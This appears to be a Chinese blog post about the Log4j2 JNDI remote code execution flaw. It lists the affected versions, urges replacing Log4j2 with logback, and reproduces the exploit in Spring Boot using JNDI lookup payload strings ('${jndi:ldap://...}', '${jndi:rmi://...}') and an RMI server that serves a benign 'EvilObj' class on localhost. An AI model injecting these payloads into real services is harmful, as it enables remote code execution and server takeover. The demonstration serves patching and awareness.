近日,知名sl4j日志规范的实现框架log4j2被爆出巨大漏洞,可被黑客利用JNDI机制来执行非法命令、拉取远程代码执行,获取非法服务器权限等,不幸的是很多知名框架也用了log4j2,我们熟知的就有Apache Struts2、Apache Solr、Apache Druid、Apache Flink…
相信很多互联网厂此刻正瑟瑟发抖,紧急修复。
国家网络应急中心也紧急发布了处理意见:关于Apache Log4j2存在远程代码执行漏洞的安全公告
罪魁祸首是Apache Log4j2、2.0 - 2.15.0-rc1这个两个版本,比如你的项目中有org.apache.logging.log4j:log4j-core:jar:2.14.1,那就赶紧去修复吧。
很多服务使用了log4j2框架,并且打了API入参日志、三方交互日志等,正在被黑客与攻击者拿去搞事情,目前很多安全厂商都给出了替换版本、修改JVM启动参数、日志格式配置文件等的低成本解决办法,不过这里我还是觉得全面移除掉log4j2(可换成logback)比较保险,并且只要是基于sl4j规范来开发的,替换成本也是相当的低!
二、复现方法下面以springboot服务为例:
log4j2.xml配置:org.springframework.boot spring-boot-starter-weborg.springframework.boot spring-boot-starter-loggingorg.springframework.boot spring-boot-starter-log4j2
application.yml配置:
logging: config: classpath:log4j2.xml测试方法:
public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { logger.info("username is:{}", "${java:os}"); logger.info("${jndi:ldap://127.0.0.1:1389/#Exploit}"); logger.error("${}", "jndi:ldap://127.0.0.1:1389/#Exploit"); logger.error("{}", "${jndi:ldap://127.0.0.1:1389/#Exploit}"); } }
这里如果是调用的:jndi:rmi://xxx,那么可以实现用户输入信息后,利用RMI远程调用来调用黑客远程的代码,到服务本机来执行(黑客可以再编写一个api回调信息、也可以执行一些Runtime命令),这就非常危险了。
之前是在log4j2的2.15.0以前的版本,都有该漏洞官方收到反馈后,紧急发布了: 2.15.0-rc1版本,后面此版本被黑客成功绕过,故官方又重新发布了2.15.0-rc2版本。
下面我们演示一下黑客利用RMI的 *** 作:
1、首先编写远程类:
public class RmiServer { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1111); Reference reference = new Reference("com.test.EvilObj", "com.test.EvilObj", null); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.rebind("evil", wrapper); System.out.println("RMI服务已经启动...."); } }
public class EvilObj { static { System.out.println("一段代码执行了..."); } }
2、通过log2j漏洞,远程调用(相当于被攻击服务拉取黑客代码到本地执行)
public class Main { private static final Logger logger = LoggerFactory.getLogger(Main.class); public static void main(String[] args) { String username = "${jndi:rmi://127.0.0.1:1111/evil}"; logger.info("username is:{}", username); } }题外话
新技术的固然有性能更好等特点,不过在使用的时候最好也还是等它稳定一段时间再用,springboot官方配置的实现框架是logback,目前还没有爆出什么大的漏洞。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)